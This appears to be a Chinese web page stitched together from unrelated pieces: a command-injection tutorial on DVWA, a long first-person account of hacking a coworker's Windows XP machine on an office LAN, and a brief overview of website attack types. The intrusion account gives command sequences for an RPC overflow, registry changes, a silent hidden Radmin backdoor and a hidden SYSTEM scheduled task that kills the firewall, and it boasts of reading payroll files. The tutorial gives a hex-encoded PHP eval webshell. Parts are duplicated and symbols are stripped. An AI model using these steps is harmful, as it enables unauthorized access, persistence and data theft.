网站攻击器_网站攻击命令

hacker|
180

常见WEB攻击之命令注入

即 Command Injection。是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。

在Web应用中,有时候会用到一些命令执行的函数,如php中system、exec、shell_exec等,当对用户输入的命令没有进行限制或者过滤不严导致用户可以执行任意命令时,就会造成命令执行漏洞。

黑客将构造好的命令发送给web服务器,服务器根据拼接命令执行注入的命令,最后讲结果显示给黑客。

以DVWA为例,下面使用ping命令测试IP,正常输入一个IP或者域名会返回一个正常的返回结果。

当输入恶意构造的语句 netstat -an,会把后面的语句也给执行了:

执行结果:

PHP的常见命令执行函数:

system(),exec(),shell_exec(),passthru()

1、system()

system — 执行外部程序,并且显示输出

常规用法:

使用PHP执行:

php test1.php

exec — 执行一个外部程序

3、shell_exec()

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

4、passthru()

passthru() 函数与 exec() 函数类似,执行外部程序并且显示原始输出。

Windows:

用^转义

如果加上单引号会写不进去,如果加双引号会把双引号一起写进去,所以要用^转义

Linux:

linux下需要用来转义,不过很多php都默认开启gpc,可以先用16进制转换一句话再用xxd命令把16进制还原.

?php eval($_POST[pass]);

转换为16进制:

3c3f706870206576616c28245f504f53545b706173735d293b3e

由于我用的是Linux,所以使用payload写入一句话:

写入成功:

1、采用白名单,或使用正则表达式进行过滤。

2、不要让用户可以直接控制eval()、system、exec、shell_exec等函数的参数。

3、在进入执行命令函数和方法前,对变量进行过滤,对敏感字符进行转义。

局域网入侵命令有哪些?

先打开命令提示符,用ping命令去ping它,Replyfrom192.168.16.4:bytes=32time1msTTL=128,说明对方没有防火墙,这样或许有可能入侵。

下一步,我使用了X-SCAN3.2对它进行了详细扫描,对方电脑的操作系统是XP,大家知道XP系统是相当安全的,在一些黑客论坛讨论的关于入侵XP的话题也是比较多的,入侵这样的系统方法只有两种,一是采用钓鱼的方法,这是一种被动的方式让对方中木马来控制它。

第二种方法就是如果对方有比较严重的漏洞,如RPC溢出

先打开命令提示符,用ping命令去ping它,Replyfrom192.168.16.4:bytes=32time1msTTL=128,说明对方没有防火墙,这样或许有可能入侵。下一步,我使用了X-SCAN3.2对它进行了详细扫描,对方电脑的操作系统是XP,大家知道XP系统是相当安全的,在一些黑客论坛讨论的关于入侵XP的话题也是比较多的,入侵这样的系统方法只有两种,一是采用钓鱼的方法,这是一种被动的方式让对方中木马来控制它。第二种方法就是如果对方有比较严重的漏洞,如RPC溢出。这样的话,用溢出程序溢出它,然后再上传控制程序进行控制。扫描结果确实让我高兴了一阵,对方电脑有大量的漏洞,其中一个比较有名的就是冲击波利用的RPC漏洞,这个漏洞相当出名了,03年的时候曾席卷全球。知道了它有这个漏洞,下一步就要找溢出程序,这让我忙活了好一阵时间,因为有的溢出程序对这台电脑好像无效。这些工具的名称我都记不起来了,反正有好几个。最后找到了一个溢出程序XP.EXE,这个程序终于溢出了那台电脑。得到了个CMDSHELL。这算是一个小小的胜利吧。

得到了CMDSHELL,我该怎样给它上传控制程序呢?我想了一会儿,终于灵感来了,我和它在一个局域网,用共享上传最方便了。于是打开网上邻居,查看工作组计算机,找到这台电脑,双击,进不去,提示信息我记不清了,据我分析可能是对方这台电脑没有运行网络安装向导,因为是XP系统,所以要用共享传输文件,必须要运行这个向导不可,运行这个向导作用就是配置一个本地安全策略,你可以打开“控制面板—管理工具—本地安全策略”,展开“本地策略”—“用户权利指派”。在右边有一个安全策略—“拒绝从网络访问这台计算机”。我想对方的电脑中相应的这条策略里,肯定设置有GUEST这个用户的,这就是为什么我打不开它的共享的原因,因为共享访问默认是以这个GEUST用户登录的,因为它的安全设置不允许GUEST从网络访问,所以我才访问不了它的共享。因为XP默认的共享模式是简单文件共享。这与WIN2000系统不同,如果是WIN2000系统,你在知道管理员密码的情况下,可以用命令netuseIPipc$"密码"/user:用户名建立与对方的ipc$连接,随之而来的就是copy木马程序ipd$这样的命令上传木马了。XP就不能这样子了,你即使知道它的管理员密码用上面的命令与不能建立ipc$连接。这就是为什么XP比2000系统安全的地方所在。下面我要作的就是要修改XP的共享模式为2000的共享模式。方法如下:在溢出获得的CMDSHELL下,键入命令:

echoWindowsRegistryEditorVersion5.00c:123.reg

echo[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]c:123.reg

echo.c:123.reg

echo"forceguest"=dword:00000000c:123.reg

regedit/ec:123.reg

等打完这几条命令后,对方XP的共享模式就已经与2000的相同了。我来解释一下这几条命令的含意,echoWindowsRegistryEditorVersion5.00c:123.reg这条命令是将WindowsRegistryEditorVersion5.00这几个字符保存到c:123.reg文件里。大家需要注意一下第一句的和后面几句的这是有区别的,字符是覆盖式的,是追加式的,第三句的echo.c:123.reg命令是追加一个空白行,这句挺重要,如果不加这句是不能成功的,你可以随便打开一个注册表文件看一下,格式就是这样的,第二行是空着的。这一点一定要注意。执行完前四条命令后就在对方C盘下生成一个123.reg文件,内容如下:

WindowsRegistryEditorVersion5.00

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]

"forceguest"=dword:00000000

第五条命令是将这个REG文件导入到注册表中。这样执行完这五条命令后,我就可以像操作2000系统一样去用ipc$控制了。下一步,上传控制程序。我选择的是RADMIN2.0的服务程序,有人问这个安装需要到图形界面下,我说不用这么费事,在CMDSHELL下一样可以安装。安装前我们需要先准备一下,首先生成一个REG文件,文件名:aaa.reg内容如下:

WindowsRegistryEditorVersion5.00

[HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters]

"DisableTrayIcon"=hex:01,00,00,00

作用就是使生成的服务端程序能够隐藏通知栏里的图标,我们都知道正常安装RADMIN服务端程序后,在通知栏里是有一个小图标的,我们要入侵人家,当然要把这个小图标去掉,不然是会被发现的。接着生成一个BAT文件,我命名为aaa.bat,内容如下:

r_server/install/silence

r_server.exe/port:2233/pass:1/save/silence

regedit.exe/saaa.reg

netstartr_server

这些命令是安装命令,设置连接端口为:2233密码是:1隐藏安装界面的方式安装然后就是将aaa.reg导入注册表,启动r_server服务。

准备工作作好后,就要上传文件了,一共需上传4个文件,aaa.regaaa.batr_server.exeadmdll.dll后两个文件是RADMIN安装目录下的,在安装了RADMIN2.0客户端后,安装目录里就有这两个文件。我先建立ipc$连接netuse192.168.16.4ipc$""/user:administrator提示:命令成功完成。接着:

copyr_server192.168.1.4admin$system32

copyaaa.bat192.168.1.4admin$system32

copyaaa.reg192.168.1.4admin$system32

copyadmdll.dll192.168.1.4admin$system32

然后再进入溢出得到的CMDSHELL下键入:

attrib+s+h+rc:windowssystem32r_server.exe

attrib+s+h+rc:windowssystem32admdll.exe

attrib+s+h+rc:windowssystem32aaa.bat

attrib+s+h+rc:windowssystem32aaa.reg

这些命令是将这4个文件设置成系统隐藏只读文件,不容易被对方管理员发现。

下一步就是运行aaa.bat了,就这么简单,运行成功后,我用radmin2.0客户端设置了一下连接参数,端口改成2233,连接成功,密码是1,成功地看到了对方的屏幕。呵呵,成功了,从有入侵的想法到入侵成功进行控制,只用了短短的4天时间。

进入后看到对方电脑上正在玩QQ保皇游戏,不过我也犯了个错误我给它新建了个管理用户,原先是打算用于ipc$连接用的,可我上传RADMIN控制后忘记删掉了,我在溢出的CMDSHELL下不小心键入了命令EXIT,结果对方电脑出现了倒计时关机的界面,我也没有及时处理掉,我当时要是用RADMIN的CMD功能,键入命令shutdown-A就可以取消这个倒计时关机的界面,可当时我也没有及时处理,导致对方电脑重启了,重启后我估计对方管理员看到了我新建的用户了,后来我用RADMIN远程查看时,也觉得这个新建用户太招摇了,用户名就是ip$,图标是个大红的花朵。

下午的时候我发现那台电脑的管理员请了位高手来助阵了,因为我们这个局域网中的各台电脑都通过我们办公室里的那台电脑连接到互联网上,所以,那位高手先到我们办公室电脑上查看了一番没有发现问题后,他将原先安装的江民换成了卡巴了,我估计他认为攻击是来自互联网上,岂不知黑客就在他眼皮底下,嘿嘿。。。。那位高手又给被我控制了的电脑上安装了卡巴,原先的杀毒软件是诺顿,对WINDOWS也进行了更新,可这些作法都晚了,因为我已经控制你了,再打补丁也无用了。经过那位高手一番检查与修补后,我的后门依然存在着,看来那位高手水平也不怎么样。我给它开放的ipc$功能,他也没发现。也许他只认为是一次简单的病毒攻击,而掉以轻心了,而不知他的一举一动都在我的监视之下。哈哈。。。

接下来的工作对我来说就比较简单了,给它开telnet服务器,开“远程桌面”这个我采用的是图形的方式进行操作的,中午下班后我等这台计算机管理员走后,用RADMIN登录进去进行了一些设置工作。后来也通过RADMIN的文件管理功能翻看了这台电脑上的文件,有一些财务报表,工资表之类的东西,这些对我来看没什么大的吸引力。不过我看到了我们集团老总的工资,每月一万多块钱呢!!好黑啊。。。这么多,我工资只有区区几百块,真是太不公平了,愤愤不平中。。。。

后来一次通过RADMIN操作对方的电脑时不小心被管理员发现了,我想对方的管理员也很感到意外,windows的补丁打上了,还装了强悍的卡巴,还是搞不定黑客!!哈哈,因为卡巴不是杀RADMIN的。后来对方那个管理员启用了局域网“本地连接”中的防火墙功能,这样我无法连接它的电脑了。因为RADMIN是正向连接的,所以在对方开防火墙的情况下是无法使用的。有一次下午下班后我无意地ping了一下这台电脑的IP,居然有返回。说明对方防火墙关闭了,我马上用RADMIN连接,居然成功。我晕。。。原来对方只开了防火墙,并没有发现这个明显的后门。我想开防火墙也是那位电脑高手给搞的,依那个管理员的水平是想不到这个办法的。不过telnet服务器给关闭了,3389远程桌面也给关了,共享模式也被修改回了原先的样子。看来那位高手也是发现了一些漏洞并补上了,但是那个后门,他却没有发现,这就给我创造了第二次入侵的机会。他有政策我有对策,他可以开防火墙,我可以给他关掉,有人问要是再被管理员开启了防火墙,那岂不是没得玩了。哈哈。。。我下面给出一个我自己研究出来的独门密方,保证百病!哈哈。。。。

我的方法是创建一个隐藏的计划任务。让这个计划任务每隔半个小时杀除一遍防火墙,这样即使对方管理员打开防火墙也起不了什么作用。方法如下:先建一个批处理文件abc.bat,放在c:windowssystem32目录下,内容如下:

netstopsharedaccess

当然也可以附加点别的,比如说你想半小时杀除一遍天网防火墙,可以再加上下面的命令:

taskkill/IMrfw.exe/f

如果想使共享模式是高级共享模式,可以再加上下面的命令:

regedit/ec:windowssystem32abc.reg

当然这需要事先上传一个abc.reg到它的c:windowssystem32目录下,内容如下:

WindowsRegistryEditorVersion5.00

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]

"forceguest"=dword:00000000

下面我说一下创建隐藏计划任务的方法:

在对方电脑的CMDSHELL下键入命令:

schtasks/create/tn"常驻"/trc:windowssystem32abc.bat/scminute/mo30/ru"system"

这样就在对方电脑上建立了一个以SYSTEM权限运行的计划任务,这个计划任务每隔30分钟运行一次c:windowssystem32abc.bat,功能嘛,就是根据abc.bat里面的命令行决定了,可以说这个新发现是相当厉害的,利用的巧妙,功能可以相当强大。如果只有这样还不能达到隐藏的要求,你打开控制面板—任务计划,仍然可以发现它的存在。好的,下面说说隐藏它的方法。还是进入CMDSHELL中。键入命令attrib+hc:windowstasks常驻.job回车后,你再到控制面板的任务计划中看一下是不是以前的任务消失了。这只是表面消失,实际是它还是存在的。你可以在CMDSHELL下键入命令:schtasks查看。这样不管对方管理员怎样修改设置,每隔半小时就又会补修改回来。它想摆脱我的控制可说是难上加难了。

常见的网站遭攻击方式有哪些

一、网站攻击第一种:破坏数据攻击          这种攻击可能会对造成较大的影响,甚至可能让网站所有者蒙受较大的损失,也是非常卑鄙的一种手段,同时也属于一种网络违法行为。以前的一些大型网站发生的用户名和密码被盗取,很可能就是由于这种攻击所致。比较常见的SQL注入就属于这种攻击,专门破坏和攻击数据服务器。有的会把网站上的网页替换掉,还有的会修改网站上的网页,给网站带来很大的困扰。

二、网站攻击第二种:挂马或挂黑链          这种攻击危害程度不是很大,但也不容忽视,一旦你的网站被挂上木马和黑链接,你的网站在打开时将很不正常,不是网页内容被修改,就是网页连带打开很多窗口等,这样的网站都属于被攻击所致。搜索引擎一旦检测数你的网站被挂马,就可能给你的网站降权性惩罚,严重的甚至被K掉。

三、网站攻击第三种:网络流量            这种攻击就是我们常听说的CC攻击,有两种像是的流量攻击,即带宽攻击和应用攻击,我们平时所将的流量攻击通常指的是带宽攻击,这是攻击网站的一个最常见的手段之一。这种攻击手段一般是采用大量数据包淹没一个或多个路由器、服务器和防火墙,网络带宽几乎被占用殆尽,使你的网站无法访问,处于瘫痪状态无法正常打开。

四、解决办法

购买网站安全增值服务产品,这样也可抵御大规模的攻击,比如高防CDN可以很好的解决网站被攻击的问题,还可以加快网站的访问速度。最主要的是可以隐藏源服务器IP,从而让攻击者无从下手

0条大神的评论

发表评论